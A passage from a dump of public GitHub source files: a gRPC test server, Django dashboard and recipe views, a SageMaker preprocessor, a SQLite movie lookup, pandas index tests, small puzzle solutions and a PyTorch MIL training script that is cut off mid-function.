fibonacci_pb2.add_FibonacciComputerServicer_to_server(ChallengeServer(), server)\n server.add_insecure_port('[::]:%d' % (port))\n server.start()\n try:\n while True:\n time.sleep(60 * 60 * 24)\n except KeyboardInterrupt:\n server.stop(0)\n\n return\n\n\nif __name__ == \"__main__\":\n serve()\n","repo_name":"PallaviKumariJha/distributed-systems","sub_path":"2/2/fibonacci_test_server.py","file_name":"fibonacci_test_server.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14389954342","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals, print_function\nfrom collections import defaultdict\n\nfrom django.shortcuts import render, redirect\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.conf import settings\n\nfrom osler.workup.models import Workup\nfrom osler.core.models import Patient\nfrom osler.core.views import all_patients\n\nfrom osler.users.utils import get_active_role\n\n\ndef dashboard_dispatch(request):\n \"\"\"Redirect an incoming user to the appropriate dashboard.\n\n Falls back to the 'home' url.\n \"\"\"\n\n active_role = get_active_role(request)\n dashboard_dispatch = settings.OSLER_ROLE_DASHBOARDS\n\n if active_role.name in dashboard_dispatch:\n return redirect(dashboard_dispatch[active_role.name])\n else:\n return redirect(settings.OSLER_DEFAULT_DASHBOARD)\n\n\ndef dashboard_active(request):\n \"\"\"Calls active patient dashboard filtered by patients needing workups.\"\"\"\n \n return all_patients(request, title='Active Patients', active=True)\n\n\ndef dashboard_attending(request):\n \n wu_list = Workup.objects \\\n .filter(attending=request.user) \\\n .exclude(encounter__isnull=True)\n clindate_map = defaultdict(list)\n for wu in wu_list:\n clinic_day = wu.encounter.clinic_day\n clindate_map[clinic_day].append(wu)\n\n paginator = Paginator(list(clindate_map.items()), settings.OSLER_CLINIC_DAYS_PER_PAGE,\n allow_empty_first_page=True)\n page = request.GET.get('page')\n try:\n clindate_page = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n clindate_page = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n clindate_page = paginator.page(paginator.num_pages)\n\n no_note_patients = Patient.objects \\\n .filter(workup=None, encounter__status__is_active=True) \\\n .order_by('-encounter__order')\n\n return render(request,\n 'dashboard/dashboard-attending.html',\n {'clindate_page': clindate_page,\n 'no_note_patients': no_note_patients\n })\n","repo_name":"llemr-conspiracy/llemr","sub_path":"osler/dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"47"} +{"seq_id":"7335176481","text":"def parse_session_mode_and_map(log_data):\n \"\"\"\n return a tuple (mode, map) where:\n - mode: indicates the multiplayer mode that was played\n - map: the name of the map that was player\n\n @param:\n log_data: the data read from a Far Cry server's log file\n \"\"\"\n temp = ''\n for line in log_data.split('\\n'):\n if \"Loading level\" in line:\n for word in line[8:]:\n if word != '-':\n temp += word\n break\n temp = temp.split(',')\n game_map = temp[0][temp[0].index('/')+1:]\n game_mode = temp[1].split('mission ')[1]\n return (game_mode, game_map)","repo_name":"dtran2108/far_cry","sub_path":"parsers/parse_mode_and_map.py","file_name":"parse_mode_and_map.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27094856617","text":"from django.shortcuts import render, get_list_or_404, get_object_or_404, redirect\nfrom receitas.models import Receita #mostra como erro mas está funcionando\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\n\ndef index(request):\n \"\"\"busca e exibe na pagina principal as receitas publicadas\"\"\"\n receitas = Receita.objects.order_by('-data_postagem').filter(publicado=True)\n paginator = Paginator(receitas, 3)\n page = request.GET.get('page')\n receitas_por_pagina = paginator.get_page(page)\n dados = {\n 'receitas': receitas_por_pagina\n }\n return render(request, 'index.html', dados)\n\n\ndef receitas(request, receita_id):\n \"\"\"busca a receita clicada pelo id e mostra a receita completa\"\"\"\n receita = get_object_or_404(Receita, pk=receita_id)\n receita_exibir = {\n 'receita': receita\n }\n return render(request, 'receita.html', receita_exibir)\n\n\ndef cria_receita(request):\n \"\"\"Cria uma nova receita\"\"\"\n if request.user.is_authenticated:\n if request.method == 'POST':\n nome_receita = request.POST['nome_receita']\n ingredientes = request.POST['ingredientes']\n modo_preparo = request.POST['modo_preparo']\n tempo_preparo = request.POST['tempo_preparo']\n rendimento = request.POST['rendimento']\n categoria = request.POST['categoria']\n foto_receita = request.FILES['foto_receita']#por se tratar de um dado do tipo file\n user = get_object_or_404(User, pk=request.user.id)\n\n if campo_vazio(nome_receita):\n messages.error(request, 'Nome da receita é obrigatório')\n return redirect('cria_receita')\n\n if campo_vazio(ingredientes):\n messages.error(request, 'ingredientes são obrigatórios')\n return redirect('cria_receita')\n\n if campo_vazio(modo_preparo):\n messages.error(request, 'Modo de preparo é obrigatório')\n return redirect('cria_receita')\n\n if campo_vazio(tempo_preparo):\n messages.error(request, 'tempo de preparo é obrigatório')\n return redirect('cria_receita')\n\n if campo_vazio(rendimento):\n messages.error(request, 'rendimento é obrigatórios')\n return redirect('cria_receita')\n\n if campo_vazio(categoria):\n messages.error(request, 'categoria é obrigatório')\n return redirect('cria_receita')\n\n receita = Receita.objects.create(\n pessoa=user,\n nome_receita=nome_receita,\n ingredientes=ingredientes,\n modo_preparo=modo_preparo,\n tempo_preparo=tempo_preparo,\n rendimento=rendimento,\n categoria=categoria,\n publicado=False,\n foto_receita=foto_receita\n )\n receita.save()\n return redirect('dashboard')\n else:\n return render(request, 'cria_receita.html')\n else:\n return redirect('index')\n\n\ndef deleta_receita(request, receita_id):\n receita = get_object_or_404(Receita, pk=receita_id)\n receita.delete()\n return redirect('dashboard')\n\n\ndef editar_receita(request, receita_id):\n receita = get_object_or_404(Receita, pk=receita_id)\n receita_editar = { 'receita': receita }\n return render(request, 'editar_receita.html', receita_editar)\n\n\ndef atualiza_receita(request):\n if request.method == 'POST':\n receita_id = request.POST['receita_id']\n r = Receita.objects.get(pk=receita_id)\n r.nome_receita = request.POST['nome_receita']\n r.ingredientes = request.POST['ingredientes']\n r.modo_preparo = request.POST['modo_preparo']\n r.tempo_preparo = request.POST['tempo_preparo']\n r.rendimento = request.POST['rendimento']\n r.categoria = request.POST['categoria']\n if 'foto_receita' in request.FILES:\n r.foto_receita = request.FILES['foto_receita']\n r.save()\n\n return redirect('dashboard')\n\n\ndef campo_vazio(campo):\n return not campo.strip()\n","repo_name":"AdrianaViabL/ProjetoDjangoAluraBlogReceitas","sub_path":"apps/receitas/views/receita.py","file_name":"receita.py","file_ext":"py","file_size_in_byte":4241,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"24934910505","text":"import json\nimport random\nimport ast\nimport sys\nimport subprocess\nimport os\n\nMETADATA_CUSTOM_ATTR_TEST_INDICATOR = 'testIndicator'\nLABEL = 'Churn'\n\ndef write_to_file(log, filename):\n with open(f\"/opt/ml/processing/output/{filename}.log\", \"a\") as f:\n f.write(log + '\\n')\n \ndef str_to_bool(s):\n return s.lower() in (\"true\", \"t\", \"1\", 'y')\n\ndef test_indicator_exist(attribute):\n return (True if METADATA_CUSTOM_ATTR_TEST_INDICATOR in attribute else False)\n \ndef eval_test_indicator(attribute):\n if test_indicator_exist(attribute):\n return str_to_bool(attribute[METADATA_CUSTOM_ATTR_TEST_INDICATOR])\n else:\n return False\n\ndef get_class_val(probability):\n v = ast.literal_eval(probability)\n return (int(v[0] >= 0.5) if isinstance(v, list) else int(v >= 0.5))\n\ndef preprocess_handler(inference_record):\n #*********************\n # a single inference implementation\n #*********************\n input_enc_type = inference_record.endpoint_input.encoding\n input_data = inference_record.endpoint_input.data.rstrip(\"\\n\")\n output_data = get_class_val(inference_record.endpoint_output.data.rstrip(\"\\n\"))\n eventmedatadata = inference_record.event_metadata\n custom_attribute = json.loads(eventmedatadata.custom_attribute[0]) if eventmedatadata.custom_attribute is not None else None\n is_test = eval_test_indicator(custom_attribute) if custom_attribute is not None else True\n \n if is_test:\n return []\n elif input_enc_type == \"CSV\":\n outputs = output_data+','+input_data\n return {str(i).zfill(20) : d for i, d in enumerate(outputs.split(\",\"))}\n elif input_enc_type == \"JSON\": \n outputs = {**{LABEL: output_data}, **json.loads(input_data)}\n write_to_file(str(outputs), \"log\")\n return {str(i).zfill(20) : outputs[d] for i, d in enumerate(outputs)}\n else:\n raise ValueError(f\"encoding type {input_enc_type} is not supported\") \n \n \n\n\n","repo_name":"aws-samples/amazon-sagemaker-data-quality-monitor-custom-preprocessing","sub_path":"src/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"9379455577","text":"import sqlite3\n\n# Copies all the content from the file to a list called stephen_king_adaptations_list\nstephen_king_adaptations_list = []\nwith open('stephen_king_adaptations.txt', 'r') as file:\n for line in file:\n movie = line.strip().split(',')\n stephen_king_adaptations_list.append(movie)\n\n# Establishes a connection with a new SQLite database called stephen_king_adaptations.db\nconn = sqlite3.connect('stephen_king_adaptations.db')\ncursor = conn.cursor()\n\n# Creates a table called stephen_king_adaptations_table with the column names movieID, movieName, movieYear, imdbRating\ncursor.execute('''CREATE TABLE IF NOT EXISTS stephen_king_adaptations_table \n (movieID TEXT, movieName TEXT, movieYear INTEGER, imdbRating REAL)''')\n\n# Takes the content from stephen_king_adaptations_list and inserts it into the table stephen_king_adaptations_table\nfor movie in stephen_king_adaptations_list:\n cursor.execute(\"INSERT INTO stephen_king_adaptations_table VALUES (?, ?, ?, ?)\", movie)\n\n# Gives the user the option to search for movies in the database\nwhile True:\n print(\"Please select an option:\")\n print(\"1. Search by movie name\")\n print(\"2. Search by movie year\")\n print(\"3. Search by movie rating\")\n print(\"4. STOP\")\n\n option = input(\"Enter your choice: \")\n\n if option == '1':\n # If the user selects Option 1, ask for the name of the movie to be searched in the database\n movie_name = input(\"Enter the name of the movie: \")\n cursor.execute(\"SELECT * FROM stephen_king_adaptations_table WHERE movieName=?\", (movie_name,))\n result = cursor.fetchone()\n\n if result:\n # If the movie is found, display all the details of that movie\n print(\"Movie found:\")\n print(\"Movie Name:\", result[1])\n print(\"Movie Year:\", result[2])\n print(\"IMDB Rating:\", result[3])\n else:\n # If the movie is not found, display an error message\n print(\"No such movie exists in our database\")\n\n elif option == '2':\n # If the user selects Option 2, ask for a year and return all the movie details from the database released in that year\n movie_year = input(\"Enter the year: \")\n cursor.execute(\"SELECT * FROM stephen_king_adaptations_table WHERE movieYear=?\", (movie_year,))\n results = cursor.fetchall()\n\n if results:\n # If movies are found for that year, display the details of those movies\n print(\"Movies found for the year\", movie_year)\n for row in results:\n print(\"Movie Name:\", row[1])\n print(\"Movie Year:\", row[2])\n print(\"IMDB Rating:\", row[3])\n else:\n # If no movie is found for that year, display an error message\n print(\"No movies were found for that year in our database.\")\n\n elif option == '3':\n # If the user selects Option 3, ask for the minimum rating and return movies with rating equal to or above that\n min_rating = float(input(\"Enter the minimum rating: \"))\n cursor.execute(\"SELECT * FROM stephen_king_adaptations_table WHERE imdbRating >= ?\", (min_rating,))\n results = cursor.fetchall()\n\n if results:\n # If movies fall within the rating limit, display the details of those movies\n print(\"Movies with rating equal to or above\", min_rating)\n for row in results:\n print(\"Movie Name:\", row[1])\n print(\"Movie Year:\", row[2])\n print(\"IMDB Rating:\", row[3])\n else:\n # If no movie falls within the rating limit, display an error message\n print(\"No movies at or above that rating were found in the database.\")\n\n elif option == '4':\n # If the user selects Option 4, terminate the program\n break\n\n print() # Add a blank line for readability\n\n# Close the database connection\nconn.close()","repo_name":"afqdqwsdzz/exercise2","sub_path":"exercise2.py","file_name":"exercise2.py","file_ext":"py","file_size_in_byte":3941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"542235294","text":"# -*- coding: utf-8 -*-\n\nimport pytest\n\nimport pandas as pd\nfrom pandas import MultiIndex\nimport pandas.util.testing as tm\n\n\ndef check_level_names(index, names):\n assert [level.name for level in index.levels] == list(names)\n\n\ndef test_slice_keep_name():\n x = MultiIndex.from_tuples([('a', 'b'), (1, 2), ('c', 'd')],\n names=['x', 'y'])\n assert x[1:].names == x.names\n\n\ndef test_index_name_retained():\n # GH9857\n result = pd.DataFrame({'x': [1, 2, 6],\n 'y': [2, 2, 8],\n 'z': [-5, 0, 5]})\n result = result.set_index('z')\n result.loc[10] = [9, 10]\n df_expected = pd.DataFrame({'x': [1, 2, 6, 9],\n 'y': [2, 2, 8, 10],\n 'z': [-5, 0, 5, 10]})\n df_expected = df_expected.set_index('z')\n tm.assert_frame_equal(result, df_expected)\n\n\ndef test_changing_names(idx):\n\n # names should be applied to levels\n level_names = [level.name for level in idx.levels]\n check_level_names(idx, idx.names)\n\n view = idx.view()\n copy = idx.copy()\n shallow_copy = idx._shallow_copy()\n\n # changing names should change level names on object\n new_names = [name + \"a\" for name in idx.names]\n idx.names = new_names\n check_level_names(idx, new_names)\n\n # but not on copies\n check_level_names(view, level_names)\n check_level_names(copy, level_names)\n check_level_names(shallow_copy, level_names)\n\n # and copies shouldn't change original\n shallow_copy.names = [name + \"c\" for name in shallow_copy.names]\n check_level_names(idx, new_names)\n\n\ndef test_take_preserve_name(idx):\n taken = idx.take([3, 0, 1])\n assert taken.names == idx.names\n\n\ndef test_copy_names():\n # Check that adding a \"names\" parameter to the copy is honored\n # GH14302\n multi_idx = pd.Index([(1, 2), (3, 4)], names=['MyName1', 'MyName2'])\n multi_idx1 = multi_idx.copy()\n\n assert multi_idx.equals(multi_idx1)\n assert multi_idx.names == ['MyName1', 'MyName2']\n assert multi_idx1.names == ['MyName1', 'MyName2']\n\n multi_idx2 = multi_idx.copy(names=['NewName1', 'NewName2'])\n\n assert multi_idx.equals(multi_idx2)\n assert multi_idx.names == ['MyName1', 'MyName2']\n assert multi_idx2.names == ['NewName1', 'NewName2']\n\n multi_idx3 = multi_idx.copy(name=['NewName1', 'NewName2'])\n\n assert multi_idx.equals(multi_idx3)\n assert multi_idx.names == ['MyName1', 'MyName2']\n assert multi_idx3.names == ['NewName1', 'NewName2']\n\n\ndef test_names(idx, index_names):\n\n # names are assigned in setup\n names = index_names\n level_names = [level.name for level in idx.levels]\n assert names == level_names\n\n # setting bad names on existing\n index = idx\n with pytest.raises(ValueError, match=\"^Length of names\"):\n setattr(index, \"names\", list(index.names) + [\"third\"])\n with pytest.raises(ValueError, match=\"^Length of names\"):\n setattr(index, \"names\", [])\n\n # initializing with bad names (should always be equivalent)\n major_axis, minor_axis = idx.levels\n major_codes, minor_codes = idx.codes\n with pytest.raises(ValueError, match=\"^Length of names\"):\n MultiIndex(levels=[major_axis, minor_axis],\n codes=[major_codes, minor_codes],\n names=['first'])\n with pytest.raises(ValueError, match=\"^Length of names\"):\n MultiIndex(levels=[major_axis, minor_axis],\n codes=[major_codes, minor_codes],\n names=['first', 'second', 'third'])\n\n # names are assigned\n index.names = [\"a\", \"b\"]\n ind_names = list(index.names)\n level_names = [level.name for level in index.levels]\n assert ind_names == level_names\n\n\ndef test_duplicate_level_names_access_raises(idx):\n # GH19029\n idx.names = ['foo', 'foo']\n with pytest.raises(ValueError, match='name foo occurs multiple times'):\n idx._get_level_number('foo')\n","repo_name":"jgagneastro/coffeegrindsize","sub_path":"App/dist/coffeegrindsize.app/Contents/Resources/lib/python3.7/pandas/tests/indexes/multi/test_names.py","file_name":"test_names.py","file_ext":"py","file_size_in_byte":3942,"program_lang":"python","lang":"en","doc_type":"code","stars":454,"dataset":"github-code","pt":"47"} +{"seq_id":"9231868726","text":"from reportlab.lib.pagesizes import A4 # not a4\nfrom reportlab.pdfgen import canvas\nfrom math import sin\nfrom reportlab.pdfbase.pdfmetrics import stringWidth\n\nHEIGHT = A4[1]\nWIDTH = A4[0]\n\ncanvas = canvas.Canvas(\"output/02.pdf\", pagesize=A4)\ncanvas.setLineWidth(.3)\ncanvas.setFont('Helvetica', 50)\nstr1 = 'HAPPY MEETUP'\nstr1_width = stringWidth(str1, 'Helvetica', 50)\nstr2 = 'FOLKS'\nstr2_width = stringWidth(str2, 'Helvetica', 50)\n\ncanvas.drawString((WIDTH-str1_width)//2, HEIGHT//2 + 100, str1)\ncanvas.drawString((WIDTH-str2_width)//2, HEIGHT//2 - 100, str2)\ncanvas.setFillColorRGB(0, 100, 100)\n\ncanvas.setFont('Helvetica', 12)\nfor i in range(0, int(HEIGHT)):\n canvas.drawString(sin(i)*2,i*2,\"❤\")\nfor i in range(0, int(HEIGHT)):\n canvas.drawString(WIDTH-12+sin(i)*2, i*2,\"❤\")\n\ncanvas.save()\n\n\n","repo_name":"pymug/arj_dec_2020","sub_path":"pdfwithpy/02_happy_meetup.py","file_name":"02_happy_meetup.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10475078978","text":"import time\n\nstart = time.time()\nwith open(\"dec6/input.txt\", \"r\") as file:\n lines = file.readlines()\n split = [line.strip().split(\")\") for line in lines]\n data = {b: a for (a, b) in split}\n\nc = 0\nfor node in data:\n while node in data:\n node = data[node]\n c += 1\nprint(c)\nprint(time.time()-start)\n","repo_name":"5space/aoc-2019","sub_path":"dec6/puzzle1.py","file_name":"puzzle1.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6084743572","text":"'''\nAuthor: liubei\nDate: 2021-07-07 14:13:41\nLastEditTime: 2021-07-08 09:38:38\nDescription: \n'''\n#\n# @lc app=leetcode.cn id=89 lang=python3\n#\n# [89] 格雷编码\n#\n# https://leetcode-cn.com/problems/gray-code/description/\n#\n# algorithms\n# Medium (70.76%)\n# Likes: 310\n# Dislikes: 0\n# Total Accepted: 52.6K\n# Total Submissions: 74.3K\n# Testcase Example: '2'\n#\n# 格雷编码是一个二进制数字系统,在该系统中,两个连续的数值仅有一个位数的差异。\n# \n# 给定一个代表编码总位数的非负整数 n,打印其格雷编码序列。即使有多个不同答案,你也只需要返回其中一种。\n# \n# 格雷编码序列必须以 0 开头。\n# \n# \n# \n# 示例 1:\n# \n# 输入: 2\n# 输出: [0,1,3,2]\n# 解释:\n# 00 - 0\n# 01 - 1\n# 11 - 3\n# 10 - 2\n# \n# 对于给定的 n,其格雷编码序列并不唯一。\n# 例如,[0,2,3,1] 也是一个有效的格雷编码序列。\n# \n# 00 - 0\n# 10 - 2\n# 11 - 3\n# 01 - 1\n# \n# 示例 2:\n# \n# 输入: 0\n# 输出: [0]\n# 解释: 我们定义格雷编码序列必须以 0 开头。\n# 给定编码总位数为 n 的格雷编码序列,其长度为 2^n。当 n = 0 时,长度为 2^0 = 1。\n# 因此,当 n = 0 时,其格雷编码序列为 [0]。\n# \n# \n# 00 11\n\n# @lc code=start\nclass Solution:\n def grayCode(self, n):\n if n == 0:\n return [0]\n\n num = int('1' * n, 2) + 1\n combin = []\n\n def checked(n1, n2):\n s = format(n1 ^ n2, 'b')\n return s.count('1') == 1\n\n def dfs():\n cbl = len(combin)\n\n if cbl == num:\n return True\n\n for i in range(num):\n if i not in combin and checked(i, combin[cbl - 1]):\n # 回溯关键代码\n combin.append(i)\n\n # 递归关键代码\n m = dfs()\n\n if m:\n return True\n\n # 回溯关键代码\n combin.remove(i)\n\n return False\n\n combin = [0]\n\n if dfs():\n print([format(i, 'b') for i in combin])\n return combin\n\n return []\n\n# @lc code=end\n\n\ns = Solution()\ns.grayCode(3)\n","repo_name":"liubei90/leetcode","sub_path":"89.格雷编码.py","file_name":"89.格雷编码.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38906466385","text":"import numpy as np\nimport torch\nimport pickle\nimport logging, time\nfrom utils.utils import *\nimport os\nfrom datasets.dataset_mtl_concat import save_splits\nfrom sklearn.metrics import roc_auc_score\nfrom models.model_toad import TOAD_fc_mtl_concat\nfrom models.model_mil import MIL_fc\nfrom models.model_attmil import GatedAttention\nfrom models.model_rnn import rnn_classify\nfrom sklearn.metrics import roc_auc_score, roc_curve\nfrom sklearn.metrics import auc as calc_auc\nfrom sklearn.preprocessing import label_binarize\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\n\nclass Accuracy_Logger(object):\n \"\"\"Accuracy logger\"\"\"\n\n def __init__(self, n_classes):\n super(Accuracy_Logger, self).__init__()\n self.n_classes = n_classes\n self.initialize()\n\n def initialize(self):\n self.data = [{\"count\": 0, \"correct\": 0} for i in range(self.n_classes)]\n\n def log(self, Y_hat, Y):\n Y_hat = int(Y_hat)\n Y = int(Y)\n self.data[Y][\"count\"] += 1\n self.data[Y][\"correct\"] += (Y_hat == Y)\n\n def log_batch(self, count, correct, c):\n self.data[c][\"count\"] += count\n self.data[c][\"correct\"] += correct\n\n def log_batch_rnn(self, Y_hat, Y):\n Y_hat = np.array(Y_hat).astype(int)\n Y = np.array(Y).astype(int)\n for label_class in np.unique(Y):\n cls_mask = Y == label_class\n self.data[label_class][\"count\"] += cls_mask.sum()\n self.data[label_class][\"correct\"] += (Y_hat[cls_mask] == Y[cls_mask]).sum()\n\n def get_summary(self, c):\n count = self.data[c][\"count\"]\n correct = self.data[c][\"correct\"]\n\n if count == 0:\n acc = None\n else:\n acc = float(correct) / count\n\n return acc, correct, count\n\n\nclass EarlyStopping:\n \"\"\"Early stops the training if validation loss doesn't improve after a given patience.\"\"\"\n\n def __init__(self, patience=40, stop_epoch=100, verbose=False): # 连续patience轮,并且总论此超过stop_epoch轮就会终止\n \"\"\"\n Args:\n patience (int): How long to wait after last time validation loss improved.\n Default: 20\n stop_epoch (int): Earliest epoch possible for stopping\n verbose (bool): If True, prints a message for each validation loss improvement. \n Default: False\n \"\"\"\n self.patience = patience\n self.stop_epoch = stop_epoch\n self.verbose = verbose\n self.counter = 0\n self.best_score = None\n self.early_stop = False\n self.val_loss_max = np.Inf\n\n def __call__(self, epoch, val_loss, model, ckpt_name='checkpoint.pt'):\n\n score = -val_loss\n\n if self.best_score is None:\n self.best_score = score\n self.save_checkpoint(val_loss, model, ckpt_name)\n elif score < self.best_score:\n self.counter += 1\n logging.info(f'EarlyStopping counter: {self.counter} out of {self.patience}')\n if self.counter >= self.patience and epoch > self.stop_epoch:\n self.early_stop = True\n else:\n self.best_score = score\n self.save_checkpoint(val_loss, model, ckpt_name)\n self.counter = 0\n\n def save_checkpoint(self, early_stopping, model, ckpt_name):\n '''Saves model when validation loss decrease.'''\n if self.verbose:\n logging.info(\n f'Validation loss decreased ({self.val_loss_max:.6f} --> {early_stopping:.6f}). Saving model ...')\n torch.save(model.state_dict(), ckpt_name)\n self.val_loss_max = early_stopping\n\n\ndef train(datasets, cur, args):\n \"\"\" \n train for a single fold\n \"\"\"\n logging.info('Training Fold {}!'.format(cur))\n writer_dir = os.path.join(args.results_dir, str(cur))\n if not os.path.isdir(writer_dir):\n os.mkdir(writer_dir)\n\n if args.log_data:\n from tensorboardX import SummaryWriter\n writer = SummaryWriter(writer_dir, flush_secs=15)\n\n else:\n writer = None\n\n print('\\nInit train/val/test splits...', end=' ')\n train_split, val_split, test_split = datasets\n save_splits(datasets, ['train', 'val', 'test'], os.path.join(args.results_dir, 'splits_{}.csv'.format(cur)))\n print('Done!')\n print(\"Training on {} samples\".format(len(train_split)))\n print(\"Validating on {} samples\".format(len(val_split)))\n print(\"Testing on {} samples\".format(len(test_split)))\n loss_fn = nn.CrossEntropyLoss().to(device)\n\n print('\\nInit Model...', end=' ')\n\n if args.model_type == 'toad' or args.model_type == 'toad_cosine':\n model_dict = {\"dropout\": args.drop_out, 'n_classes': args.n_classes, 'model_type': args.model_type}\n model = TOAD_fc_mtl_concat(**model_dict)\n model.relocate()\n print('Done!')\n elif args.model_type == 'mil':\n model_dict = {\"dropout\": args.drop_out, 'n_classes': args.n_classes}\n model = MIL_fc(**model_dict)\n model.relocate()\n print('Done!')\n elif args.model_type == 'attmil':\n model_dict = {\"dropout\": args.drop_out, 'n_classes': args.n_classes}\n model = GatedAttention(**model_dict)\n model.relocate()\n print('Done!')\n elif args.model_type == 'rnn':\n model = rnn_classify().to(device)\n print('Done!')\n else:\n raise Exception('model is error')\n # print_network(model)\n\n print('\\nInit optimizer ...', end=' ')\n optimizer = get_optim(model, args)\n print('Done!')\n\n print('\\nInit Loaders...', end=' ')\n if args.model_type == 'toad' or args.model_type == 'toad_cosine' or args.model_type == 'mil' or args.model_type == 'attmil':\n train_loader = get_split_loader(train_split, training=True, testing=args.testing, weighted=args.weighted_sample)\n val_loader = get_split_loader(val_split)\n test_loader = get_split_loader(test_split)\n elif args.model_type == 'rnn':\n train_loader = DataLoader(train_split, 64, shuffle=True)\n val_loader = DataLoader(val_split, 64, shuffle=False)\n test_loader = DataLoader(test_split, 64, shuffle=False)\n else:\n raise Exception('model type is error')\n print('Done!')\n print('\\nSetup EarlyStopping...', end=' ')\n if args.early_stopping:\n early_stopping = EarlyStopping(patience=3, stop_epoch=15, verbose=True) # 连续patience轮,并且总论此超过stop_epoch轮就会终止\n\n else:\n early_stopping = None\n print('Done!')\n if args.model_type == 'toad' or args.model_type == 'toad_cosine' or args.model_type == 'mil' or args.model_type == 'attmil':\n for epoch in range(args.max_epochs):\n train_loop(epoch, model, train_loader, optimizer, args.n_classes, writer, loss_fn)\n stop = validate(cur, epoch, model, val_loader, args.n_classes,\n early_stopping, writer, loss_fn, args.results_dir)\n\n if stop:\n break\n if args.early_stopping:\n model.load_state_dict(torch.load(os.path.join(args.results_dir, \"s_{}_checkpoint.pt\".format(cur))))\n else:\n torch.save(model.state_dict(), os.path.join(args.results_dir, \"s_{}_checkpoint.pt\".format(cur)))\n\n _, cls_val_error, cls_val_auc, _ = summary(model, val_loader, args.n_classes)\n logging.info('Cls Val error: {:.4f}, Cls ROC AUC: {:.4f}'.format(cls_val_error, cls_val_auc))\n\n results_dict, cls_test_error, cls_test_auc, acc_loggers = summary(model, test_loader, args.n_classes)\n logging.info('Cls Test error: {:.4f}, Cls ROC AUC: {:.4f}'.format(cls_test_error, cls_test_auc))\n elif args.model_type == 'rnn':\n for epoch in range(args.max_epochs):\n train_loop_rnn(epoch, model, train_loader, optimizer, args.n_classes, writer, loss_fn)\n stop = validate_rnn(cur, epoch, model, val_loader, args.n_classes,\n early_stopping, writer, loss_fn, args.results_dir)\n if stop:\n break\n if args.early_stopping:\n model.load_state_dict(torch.load(os.path.join(args.results_dir, \"s_{}_checkpoint.pt\".format(cur))))\n else:\n torch.save(model.state_dict(), os.path.join(args.results_dir, \"s_{}_checkpoint.pt\".format(cur)))\n\n _, cls_val_error, cls_val_auc, _ = summary_rnn(model, val_loader, args.n_classes)\n logging.info('Cls Val error: {:.4f}, Cls ROC AUC: {:.4f}'.format(cls_val_error, cls_val_auc))\n\n results_dict, cls_test_error, cls_test_auc, acc_loggers = summary_rnn(model, test_loader, args.n_classes)\n logging.info('Cls Test error: {:.4f}, Cls ROC AUC: {:.4f}'.format(cls_test_error, cls_test_auc))\n else:\n raise Exception('model type is error')\n for i in range(args.n_classes):\n acc, correct, count = acc_loggers.get_summary(i)\n logging.info('class {}: acc {:.4f}, correct {}/{}'.format(i, acc, correct, count))\n\n if writer:\n writer.add_scalar('final/test_class_{}_tpr'.format(i), acc, 0)\n\n if writer:\n writer.add_scalar('final/cls_val_error', cls_val_error, 0)\n writer.add_scalar('final/cls_val_auc', cls_val_auc, 0)\n writer.add_scalar('final/cls_test_error', cls_test_error, 0)\n writer.add_scalar('final/cls_test_auc', cls_test_auc, 0)\n\n writer.close()\n return results_dict, cls_test_auc, cls_val_auc, 1 - cls_test_error, 1 - cls_val_error\n\n\ndef train_loop(epoch, model, loader, optimizer, n_classes, writer=None, loss_fn=None):\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n model.train()\n cls_logger = Accuracy_Logger(n_classes=n_classes)\n cls_train_error = 0.\n cls_train_loss = 0.\n for batch_idx, (data, label) in enumerate(loader):\n data = data.to(device)\n label = label.to(device)\n\n results_dict = model(data)\n logits, Y_prob, Y_hat = results_dict['logits'], results_dict['Y_prob'], results_dict['Y_hat']\n\n cls_logger.log(Y_hat, label)\n\n cls_loss = loss_fn(logits, label)\n cls_loss_value = cls_loss.item()\n\n cls_train_loss += cls_loss_value\n if (batch_idx + 1) % 50 == 0:\n logging.info(\n 'batch {}, cls loss: {:.4f}, label: {}, bag_size: {}'.format(batch_idx, cls_loss_value, label.item(),\n data.size(0)))\n\n cls_error = calculate_error(Y_hat, label)\n cls_train_error += cls_error\n\n # backward pass\n cls_loss.backward()\n # step\n optimizer.step()\n optimizer.zero_grad()\n\n # calculate loss and error for epoch\n cls_train_loss /= len(loader)\n cls_train_error /= len(loader)\n\n logging.info(\n 'Epoch: {}, cls train_loss: {:.4f}, cls train_error: {:.4f}'.format(epoch, cls_train_loss, cls_train_error))\n for i in range(n_classes):\n acc, correct, count = cls_logger.get_summary(i)\n logging.info('class {}: tpr {:.4f}, correct {}/{}'.format(i, acc, correct, count))\n if writer:\n writer.add_scalar('train/class_{}_tpr'.format(i), acc, epoch)\n\n if writer:\n writer.add_scalar('train/cls_loss', cls_train_loss, epoch)\n writer.add_scalar('train/cls_error', cls_train_error, epoch)\n\n\ndef train_loop_rnn(epoch, model, loader, optimizer, n_classes, writer=None, loss_fn=None):\n model.train()\n logger = Accuracy_Logger(n_classes=n_classes)\n 